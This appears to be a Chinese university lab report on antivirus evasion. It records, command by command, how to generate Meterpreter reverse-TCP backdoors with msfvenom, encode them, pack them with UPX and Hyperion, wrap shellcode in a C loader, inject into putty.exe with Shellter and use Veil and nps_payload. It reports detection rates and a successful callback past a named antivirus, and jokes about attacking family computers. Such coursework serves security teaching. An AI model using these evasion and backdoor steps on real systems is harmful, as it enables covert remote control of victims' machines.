• Exp3 免杀原理与实践


    Exp3 免杀原理与实践

    一、基础问题回答

    以下问题在远控免杀从入门到实践(1):基础篇均有完整的介绍和解答,这个系列的讲解也非常系统详细

    1. 杀软是如何检测出恶意代码的?

      答:可以根据特征码检测,特征库收集恶意程序的特征码提供给杀软,如果杀软检测到程序中有特征库中的特征码,就可以判断此程序中包含恶意代码;可以通过恶意行为来检测,即有恶意行为则报警;可以通过定期的文件校验来检测,若文件校验和与原来保存的校验和不一致,则可能感染病毒。

    2. 免杀是做什么?

      答:免杀就是反杀毒技术,使恶意程序的特征不能被杀毒软件检测到以被杀/删掉。

    3. 免杀的基本方法有哪些?

      答:有修改特征码、花指令免杀、加壳免杀、内存免杀、二次编译、分离免杀、资源修改。本次实验中主要通过加壳、二次编译、分离免杀等方式更改特征码来避免特征码检测,也可以通过反弹连接、隧道技术等方式避免行为检测,不过一般还没行动就会被杀掉。

    4. 开启杀软能绝对防止电脑中恶意代码吗?

      答:不能,如果杀软的病毒库没有更新,就检测不到新的被发现的恶意代码,更不用说还有未被发现特征的病毒未被记录在病毒库中。

    二、实验总结与体会

    本次实验中遇到了不少问题,尤其是在安装veil的时候的问题比较多,尝试实现免杀的过程非常煎熬,最终还是使用了较为弱的杀毒软件才实现了免杀。在实践过程中对上一次实验中设置的payload是做什么的,另外对配置环境变量的重要性有所体会。可以自己完成一些简单的恶意攻击还是挺有成就感的,等回家攻击攻击家人的XP和win7吧。

    三、实践过程记录

    3.1 免杀检测

    1. 同实验二的方式使用如下命令生成后门程序

      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor.exe
      
    2. 放入VirusTotalVirscan中进行扫描

      • VirusTotal扫描结果

      image-20210404155401677

      • Virscan扫描结果

      image-20210404155423889

    3.2 正确使用msf编码器,生成exe文件

    1. 输入msfvenom -l查看msfvenom相关参数

      image-20210404161056098可以看到-f可以选择输出后门的格式,-e可以选择编码器,-b可以去除字符,-i可以设置迭代次数等

    2. 一次编码后门程序并检测

      不设置-i迭代次数则默认为1

      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor2.exe
      

      image-20210404161959330VirusTotal检测结果

      image-20210404162743568

    3. 十次编码后门程序并检测

      msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.31.92 LPORT=11214 -f exe > 20181214_backdoor3.exe
      

      image-20210404162024897VirusTotal检测结果

      image-20210404162956948可疑度反而上升了

    3.3 msfvenom生成如jar之类的其他文件

    生成java后门程序

    msfvenom -p java/shell_reverse_tcp  LHOST=192.168.31.92 LPORT=11214 -f jar > 20181214jar.jar
    

    image-20210404163557627VirusTotal检测结果image-20210404163802343

    生成php后门程序

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 x> 20181214php.php
    

    image-20210404163823515VirusTotal检测结果image-20210404164622191

    3.4 veil

    安装veil

    1. 使用sudo apt-get install veil-evasion命令安装veil

      期间出现了veil err:mscoree:LoadLibraryShim error reading registry key for installroot错误。参考安装Veil 3.0时出错 (事实上查看错误信息就可以解决), sudo mkdir /run/user/0 然后重新运行 ./config/setup.sh --force --silent解决了问题

    2. 修改git源

      由于使用了github上的资源而没有合 理 上 网,在加载过程中会特别慢以致连不上网,所以我们需要将安装文件中的gitub资源改为码云资源。先vim /usr/share/veil/config/setup.sh进.sh文件,输入/VeilDependencies.git找到位置,在用sudo git clone https://gitee.com/spears/VeilDependencies.git把这句替换掉即可。

      image-20210404165241461

      成功运行Veil

      image-20210404165614194

    使用veil

    1. 输入use evasion进入Veil-Evasion

      image-20210404165901349

    2. 输入use powershell/shellcode_inject/psexec_virtual.py c/meterpreter/rev_tcp.py进入配置界面

      image-20210404165938646

    3. 设置反弹连接IP,输入Kali的IP:set LHOST 192.168.31.92

    4. 设置端口:set LPORT 1214,完成配置,可输入option查看当前配置

      image-20210404170144820

    5. 输入generate生成后门程序文件,并命名playload

      image-20210404170900398

      成功生成exe文件,文件路径如图所示(var目录和root目录同级)

    6. 检验可用性

      image-20210405210814772

    7. VirusTotal检测结果

      image-20210404171422420

    3.5 加壳工具

    压缩壳

    通过减少将后门程序压缩的方式进行免杀,使用命令upx infile -o outfile即可加壳

    • 对实验二生成的后门程序20181214_backdoor.exe加壳

      1. 使用命令upx 20181214_backdoor.exe -o upx 20181214_backdoor.upxed.exe
        image-20210404171851513
    1. 测试可用性
      image-20210404172546664

    2. VirusTotal检测结果

      image-20210404173243083对照结果,加壳后的检测率略有降低

    • 对veil生成的后门程序veil_1812.exe加壳

      1. 使用命令upx veil_1812.exe -o veil_181214upx.exe
        image-20210404174133898
      2. VirusTotal检测结果
        image-20210404173924474
        检测率不降反升,猜测有些检测软件看到加壳后会加 大 力 度

    加密壳

    从上面的结果可以看到,压缩壳的免杀效果并不是很好,我们再使用Hyperion对后台程序加加密壳

    我们需要先装一下Hyperion,用码云上的资源包下载wget https://gitee.com/guoguogewangzi/tools/raw/master/binary/hyperion/release/Hyperion-2.2.zip,然后unzip Hyperion-2.2.zip解压

    image-20210405173243714

    进入Hyperion-2.2文件夹,vim修改makefile,将第一行改为 CC = i686-w64-mingw32-gcc,之后make编译一下

    image-20210405174135927

    • 对实验二生成的后门程序20181214_backdoor.exe加壳

      1. 使用wine hyperion.exe -v 20181214_backdoor.exe 20181214_backdoor_upxed_Hyperion.exe命令生成加密后门程序,注意需要先将后门程序移入Hyperion-2.2文件夹

        image-20210405200714803

      2. 测试可用性

        image-20210405202045979

        这次是能够执行完exe文件,不过msf那边会慢一些

      3. VirusTotal检测结果

        image-20210405202735865

    效果和压缩壳一样

    • 对veil生成的后门程序veil_1812.exe加壳

      1. 使用命令wine hyperion.exe -v veil_1812.exe veil_1812_Hyperion.exe

    image-20210404174133898

    1. 测试可用性

    image-20210405203811738

    1. VirusTotal检测结果
     ![image-20210405210330875](https://i.loli.net/2021/04/05/NDnTRpjmUyx1wMF.png)
     
     检测率仍然不降反升,可能是检测软件对我们自主生成的后门程序不太敏感,反而是对壳特别敏感,在4.8部分我会组合使用他们看看到底是怎么样
    

    3.6 使用C + shellcode编程

    1. 生成一段C语言shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -f c

    image-20210404174521014

    1. 将shellcode放入如下代码中

      unsigned char buf[] = 
      "shellcode数组内容"
      
      int main()
      {
          int (*func)() = (int(*)())buf;
          func();
      }
      

    image-20210404174738316

    1. 使用命令i686-w64-mingw32-g++ 20181214.c -o 20181214.exe对c文件进行交叉编译,得到可以在Windows环境下的可执行程序20181214.exe

      image-20210404174935110

    2. 测试可用性

      image-20210404175602864

    3. VirusTotal检测结果

      image-20210404175812140

    3.7 使用其他课堂未介绍方法

    使用Veil-Evasion的其他荷载生成后门方式

    1. 启动veil,输入use evasion进入evasion,输入list查看可用的有效荷载image-20210404191119478

    2. 输入use 13选择荷载cs/shellcode_inject/virtual.py
      image-20210404191226048

    3. 设置用户名,generate生成,并对荷载、端口、ip等进行配置
      image-20210405214651725

    路径如下

    image-20210405214721777

    1. 通过生成的exe文件和rc文件进行MSF调用

      将exe文件发到主机上,进入rc文件所在文件夹执行msf命令

      image-20210405215151101

      主机中执行exe,msf中自动连接上了

      image-20210405215843388

    2. VirusTotal检测结果

      image-20210405215702578

    Shellter 免杀

    1. 准备PE文件

      从https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html中下载32位putty.exe

    2. 生成payload

      在kali终端中输入shellter运行,选择模式Auto,输入PE文件路径

      image-20210406204842550

      选择隐身模式,选择windows/meterpreter/reverse_tcp作为payload,输入ip和端口号

      image-20210406204918066

      成功生成

    3. 验证可用性

      image-20210406204203927

    4. VirusTotal检测结果

      image-20210406204816715

    nps_payload 免杀(失败)

    1. 安装nps_payload

      使用git clone https://gitee.com/sin29/nps_payload.git命令克隆到本地,库是从github中导入码云的

      image-20210406153949667

      进入nps_payload文件夹后,使用pip install -r requirements.txt命令安装依赖

      image-20210406153938283

    2. 利用nps_payload生成后门

      看源码中nps_payload貌似提供了python2和python3两种执行方式,但python2少个库,python3 nps_payload.py运行

      image-20210406153823210

      这里会进入一个死循环,进入不了下一选项

      image-20210406155318362

      我们vim查看.py文件,在代码末端发现输入的选项是默认的字符而options选择的却是数字,将409行的task = input(" Select a task:")改为task = int(input(" Select a task:"))即可,102、229行也有这个问题,已经在github上提交问题

      image-20210406155955347

      运行后,第一步选择生成,选择1:Generate msbuild/nps/msf payload,第二步选择payload,选择1:windows/meterpreter/reverse_tcp,并设置ip和端口

      image-20210406161209330

      成功生成后门文件,并给出了提示文件

      image-20210406161255896

    3. 检测可用性

      虚拟机msf设置payload、ip和端口进行监听,将生成的xml文件发到主机上,在主机上使用如下命令执行

        a. Local File Deployment:
          - %windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe D:joeymsbuild_nps.xml                              
        b. Remote File Deployment:
          - wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe \<attackerip><share>msbuild_nps.xml       
      

      发现没有成功生成xml文件,暂时没办法

    3.8 通过组合应用各种技术实现恶意代码免杀

    使用veil+压缩壳+加密壳的方式,未能实现免杀

    使用c+shellcode+Hyperion的方式,未能实现免杀

    在杀软版本较低的主机中能实现免杀

    image-20210405215843388

    3.9 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    杀软版本为腾讯电脑管家 13.5.20525.234

    QQ图片20210412091103

    img

  • 相关阅读:
    移动端网页 -- 安卓与IOS兼容
    item上下自动循环滚动显示
    刮刮奖 --- 可以自定义在图层下添加文字等等信息
    内核终端判断,微信?QQ?ipad?IE?移动?Google?opera……
    flexbox布局
    刮刮奖
    constructor
    获取地址栏参数
    this对象
    函数
  • 原文地址:https://www.cnblogs.com/Ziggy29/p/14619957.html
Copyright © 2020-2023  润新知